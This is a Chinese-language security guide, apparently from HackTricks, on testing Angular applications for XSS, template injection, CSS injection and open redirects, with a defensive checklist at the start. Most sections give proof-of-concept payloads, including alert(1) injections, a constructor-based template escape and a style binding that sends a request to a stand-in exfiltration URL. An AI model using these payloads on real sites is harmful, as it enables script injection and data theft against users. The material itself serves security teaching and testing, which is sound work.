hacktricks/network-services-pentesting/pentesting-web/angular.md

25 KiB
Raw Blame History

Angular

清单

验证以下内容:

  • Angular 被视为客户端框架,不应提供服务器端保护
  • 项目配置中禁用了脚本的 Sourcemap
  • 不可信任的用户输入在使用模板之前始终进行了插值或清理
  • 用户无法控制服务器端或客户端模板
  • 不可信任的用户输入在被应用程序信任之前使用适当的安全上下文进行了清理
  • 不要将不可信任的用户输入传递给 Angular 类,如 ElementRefRenderer2Document,或其他 JQuery/DOM 漏洞

什么是 Angular

Angular 是一个强大的前端框架,广泛用于构建动态 Web 应用程序。它是开源的,并由 Google 维护。Angular 的一个关键特性是其使用 TypeScript这是一种类型化的 JavaScript 超集,使代码更易于阅读、维护和调试。

Angular 的安全机制旨在防止常见的客户端漏洞包括跨站脚本攻击XSS和开放重定向。然而Angular 也可以在服务器端用于生成静态页面。因此,应从两个方面考虑 Angular 的安全性。

框架架构

为了更好地理解 Angular 的基本概念,让我们了解一下它的基本结构。

通常,一个 Angular 项目的结构如下:

my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

根据文档每个Angular应用程序至少有一个组件即根组件AppComponent它将组件层次结构与DOM连接起来。每个组件定义一个包含应用程序数据和逻辑的类并与定义在目标环境中显示的视图的HTML模板相关联。@Component()装饰器将其下方的类标识为组件,并提供模板和相关的组件特定元数据。AppComponentapp.component.ts文件中定义。

Angular NgModules为一组组件声明了一个编译上下文该上下文专用于应用程序域、工作流程或密切相关的一组功能。每个Angular应用程序都有一个根模块通常命名为AppModule,它提供了启动应用程序的引导机制。一个应用程序通常包含许多功能模块。AppModuleapp.module.ts文件中定义。

Angular的Router NgModule提供了一个服务允许您在应用程序中定义不同应用程序状态和视图层次之间的导航路径。RouterModuleapp-routing.module.ts文件中定义。

对于与特定视图无关的数据或逻辑,并且您希望在组件之间共享,可以创建一个服务类。服务类定义之前紧跟着@Injectable()装饰器。该装饰器提供的元数据允许其他提供者作为依赖项注入到您的类中。依赖注入DI使您的组件类保持精简和高效。它们不会从服务器获取数据验证用户输入或直接记录到控制台它们将这些任务委托给服务。

Sourcemap配置

Angular框架通过遵循tsconfig.json选项将TypeScript文件转换为JavaScript代码然后使用angular.json配置构建项目。查看angular.json文件我们观察到一个选项可以启用或禁用sourcemap。根据Angular文档 默认配置启用了脚本的sourcemap文件并且默认情况下不隐藏

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

通常sourcemap文件用于调试目的它将生成的文件映射到其原始文件。因此在生产环境中不建议使用它们。如果启用了sourcemap它可以提高可读性并通过复制Angular项目的原始状态来帮助文件分析。然而如果禁用了它们审阅者仍然可以通过手动搜索反安全模式来分析编译后的JavaScript文件。

此外可以在浏览器开发者工具→Sources或Debugger和Sources→[id].main.js中找到带有Angular项目的编译后的JavaScript文件。根据启用的选项该文件可能在末尾包含以下行//# sourceMappingURL=[id].main.js.map,或者如果将hidden选项设置为true,则可能不包含。然而,如果对scripts禁用了sourcemap测试将变得更加复杂我们无法获取该文件。此外可以在项目构建期间启用sourcemap例如ng build --source-map

数据绑定

绑定是指组件与其对应视图之间的通信过程。它用于在Angular框架中传输数据。数据可以通过各种方式传递例如通过事件、插值、属性或通过双向绑定机制。此外数据还可以在相关组件父子关系之间和两个不相关的组件之间共享使用Service功能。

我们可以通过数据流来分类绑定:

  • 数据源到视图目标(包括插值、属性、属性、类和样式);可以在模板中使用[]{{}}应用;
  • 视图目标到数据源(包括事件);可以在模板中使用`()``应用;
  • 双向绑定;可以在模板中使用[()]应用。

绑定可以应用于属性、事件和属性,以及源指令的任何公共成员:

类型 目标 示例
属性 元素属性、组件属性、指令属性 <img [alt]="hero.name" [src]="heroImageUrl">
事件 元素事件、组件事件、指令事件 <button type="button" (click)="onSave()">Save
双向绑定 事件和属性 <input [(ngModel)]="name">
属性 属性(例外) <button type="button" [attr.aria-label]="help">help
类属性 <div [class.special]="isSpecial">Special
样式 样式属性 <button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angular安全模型

Angular的设计默认包括对所有数据进行编码或净化使得在Angular项目中发现和利用XSS漏洞变得越来越困难。数据处理有两种不同的情况

  1. 插值或{{user_input}}-根据上下文进行编码,并将用户输入解释为文本;
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

结果:&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. 绑定到属性、属性、类和样式或[attribute]="user_input"-根据提供的安全上下文进行净化。

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

结果:<div><h1>test</h1></div>

有6种SecurityContext类型:

  • None
  • HTML用于将值解释为HTML时使用
  • STYLE用于将CSS绑定到style属性时使用;
  • URL用于URL属性例如<a href>
  • SCRIPT用于JavaScript代码
  • RESOURCE_URL用于作为代码加载和执行的URL例如<script src>

漏洞

绕过安全信任方法

Angular引入了一系列方法来绕过其默认的净化过程并指示某个值可以在特定上下文中安全使用如以下五个示例所示

  1. bypassSecurityTrustUrl用于指示给定的值是安全的样式URL
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>

//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
  1. bypassSecurityTrustResourceUrl用于指示给定的值是安全的资源URL
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml用于指示给定的值是安全的HTML。请注意以这种方式将script元素插入DOM树不会导致执行其中的JavaScript代码因为这些元素是如何添加到DOM树中的。
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//result
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript用于指示给定的值是安全的JavaScript。然而我们发现它的行为是不可预测的因为我们无法使用此方法在模板中执行JS代码。
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//result
-
  1. bypassSecurityTrustStyle用于指示给定的值是安全的CSS。以下示例说明了CSS注入
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//result
Request URL: GET example.com/exfil/a

Angular提供了一个sanitize方法在显示之前对数据进行净化。该方法根据提供的安全上下文进行净化输入。然而对于特定的数据和上下文使用正确的安全上下文非常重要。例如在HTML内容上应用具有SecurityContext.URL的净化器不能防止危险的HTML值。在这种情况下滥用安全上下文可能导致XSS漏洞。

HTML注入

当用户输入绑定到以下三个属性之一时,就会出现此漏洞:innerHTMLouterHTMLiframesrcdoc。尽管绑定到这些属性会按原样解释HTML但输入会使用SecurityContext.HTML进行清理。因此可以进行HTML注入但无法进行跨站脚本攻击XSS

使用innerHTML的示例:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

结果是 <div><h1>test</h1></div>

模板注入

客户端渲染CSR

Angular利用模板来动态构建页面。该方法涉及将Angular要评估的模板表达式放在双花括号{{}})中。通过这种方式,框架提供了额外的功能。例如,一个模板表达式{{1+1}}将显示为2。

通常情况下Angular会对可能与模板表达式混淆的用户输入进行转义例如字符< > ' " \。这意味着需要采取额外的步骤来规避此限制例如使用生成JavaScript字符串对象的函数来避免使用被列入黑名单的字符。然而为了实现这一点我们必须考虑Angular的上下文、其属性和变量。因此模板注入攻击可能如下所示

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

如上所示:constructor指的是对象constructor属性的作用域使我们能够调用String构造函数并执行任意代码。

服务器端渲染SSR

与在浏览器的DOM中发生的客户端渲染CSR不同Angular Universal负责对模板文件进行服务器端渲染。然后将这些文件传递给用户。尽管有这个区别Angular Universal使用与CSR相同的净化机制来增强SSR的安全性。在SSR中可以像在CSR中一样通过检测使用的模板语言来发现模板注入漏洞。

当使用第三方模板引擎如Pug和Handlebars也有可能引入新的模板注入漏洞。

XSS

DOM接口

如前所述我们可以直接使用_Document_接口访问DOM。如果用户输入没有事先进行验证可能会导致跨站脚本XSS漏洞。

我们在下面的示例中使用了document.write()document.createElement()方法:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular类

在Angular中有一些类可以用来处理DOM元素ElementRefRenderer2LocationDocument。关于后两个类的详细描述在开放重定向部分中给出。前两个类的主要区别在于,Renderer2 API在DOM元素和组件代码之间提供了一层抽象ElementRef只是保存了对元素的引用。因此根据Angular文档的说法只有在需要直接访问DOM时才应该使用ElementRef API。

  • ElementRef包含nativeElement属性可以用来操作DOM元素。然而不正确使用nativeElement可能导致XSS注入漏洞如下所示
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • 尽管Renderer2提供的API可以安全地在不支持直接访问原生元素的情况下使用但它仍然存在一些安全漏洞。使用Renderer2,可以使用setAttribute()方法在HTML元素上设置属性该方法没有XSS预防机制。
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • 要设置DOM元素的属性可以使用Renderer2.setProperty()方法并触发XSS攻击
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

在我们的研究中,我们还研究了其他Renderer2方法(如setStyle()createComment()setValue()在XSS和CSS注入方面的行为。然而由于它们的功能限制我们无法找到这些方法的任何有效攻击向量。

jQuery

jQuery是一个快速、小巧且功能丰富的JavaScript库可以在Angular项目中用于操作HTML DOM对象。然而众所周知该库的方法可能被利用以实现XSS漏洞。为了讨论一些易受攻击的jQuery方法在Angular项目中如何被利用我们添加了这个小节。

  • html()方法获取匹配元素集合中第一个元素的HTML内容或设置每个匹配元素的HTML内容。然而根据设计任何接受HTML字符串的jQuery构造函数或方法都有可能执行代码。这可以通过注入<script>标签或使用执行代码的HTML属性来实现如下例所示。
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • jQuery.parseHTML()方法使用原生方法将字符串转换为一组DOM节点然后可以将其插入到文档中。
jQuery.parseHTML(data [, context ] [, keepScripts ])

如前所述大多数接受HTML字符串的jQuery API将运行在HTML中包含的脚本。除非显式设置keepScriptstrue,否则jQuery.parseHTML()方法不会运行解析的HTML中的脚本。然而在大多数环境中仍然可以间接执行脚本例如通过<img onerror>属性。

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

开放重定向

DOM接口

根据W3C文档window.locationdocument.location对象在现代浏览器中被视为别名。这就是为什么它们具有一些方法和属性的类似实现,这可能导致开放重定向和使用javascript://模式的DOM XSS攻击如下所示。

  • window.location.href(和document.location.href

获取当前DOM位置对象的规范方式是使用window.location。它也可以用于将浏览器重定向到一个新页面。因此,控制这个对象使我们能够利用开放重定向漏洞。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

以下情况的利用过程是相同的。

  • window.location.assign()(和document.location.assign()

该方法导致窗口加载并显示指定URL的文档。如果我们对这个方法有控制权它可能成为开放重定向攻击的漏洞点。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(和document.location.replace()

该方法用提供的URL替换当前资源。

assign()方法的不同之处在于,使用window.location.replace()后,当前页面将不会保存在会话历史中。然而,当我们对这个方法有控制权时,仍然可以利用开放重定向漏洞。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

window.open()方法接受一个URL并将其标识的资源加载到新的或现有的标签页或窗口中。对这个方法的控制权也可能是触发XSS或开放重定向漏洞的机会。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angular类

  • 根据Angular文档Angular Document与DOM文档相同这意味着可以使用常见的DOM文档向量来利用Angular中的客户端漏洞。Document.location属性和方法可能是成功的开放重定向攻击的漏洞点,如下例所示:
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • 在研究阶段我们还审查了Angular Location类以查找开放重定向漏洞,但没有找到有效的向量。Location是一个Angular服务应用程序可以使用它与浏览器的当前URL进行交互。该服务有几种方法来操作给定的URL - go()replaceState()prepareExternalUrl()。然而,我们不能将它们用于重定向到外部域。例如:
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

结果:http://localhost:4200/http://google.com/about

  • Angular Router类主要用于在同一域内导航,不会引入任何额外的应用程序漏洞:
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

结果:http://localhost:4200/https:

以下方法也在域范围内导航:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

参考资料